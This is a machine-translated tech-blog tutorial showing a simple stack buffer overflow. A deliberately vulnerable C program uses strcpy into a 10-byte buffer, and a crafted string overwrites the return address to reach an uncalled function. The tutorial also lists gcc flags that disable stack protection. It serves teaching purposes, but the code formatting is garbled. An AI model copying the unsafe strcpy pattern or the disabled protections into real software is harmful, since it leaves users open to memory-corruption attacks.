Get the App
SLTechnology News&Howtos  ›  Network Security  › 

Simple stack overflow utilization

Shulou Source: shulou.com Published: 2022-06-01 05:03:53 10月04日 Update

# include#includevoid fun (char * name) {char buf [10]; strcpy (buf,name); printf ("% s\ n", buf);} void hack () {printf ("flag\ n");} int main () {char name [] = "Alex@bbb"; fun (name); return 0;}

The above program is a normal C language program, but the hack () function is not called in the main function. I will demonstrate how to use the buffer overflow to execute the contents of the hack function.

After compiling and executing the above program using codeblocks, drag into od to check the changes in the stack and see what value is assigned to the variable name, which happens to overwrite the function return address at call fun.

F7 follow up F8 sentence by sentence:

So we add poc:

# include#includevoid fun (char * name) {char buf [10]; strcpy (buf,name); printf ("% s\ n", buf);} void hack () {printf ("flag\ n");} int main () {char name [] = "Alex@bbbaaaaaaaaaaaaaa\ x59\ x13\ x40\ 00"; / / the last four here are hack () function addresses fun (name); return 0;}

After recompiling and executing, we found that the utilization was successful:

When using ubuntu to reproduce stack overflow, you need to turn off the stack protection mechanism:

Use gcc to disable the protection mechanism at compile time, and the parameter-fno-stack-protector is used to turn off the gcc compiler gs CAPTCHA mechanism.

-z execstack is used to turn off the ld linker stack segment non-executable mechanism.

There is a 64-bit stack overflow process under linux.

Https://www.secpulse.com/archives/32328.html

Tags: Functions mechanisms compilers programs addresses times protection success content parameters variables stacks cases buffers compilers languages language programs procedures links facets Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno OPPO Reno Microsoft Apple Shulou Technology NVidia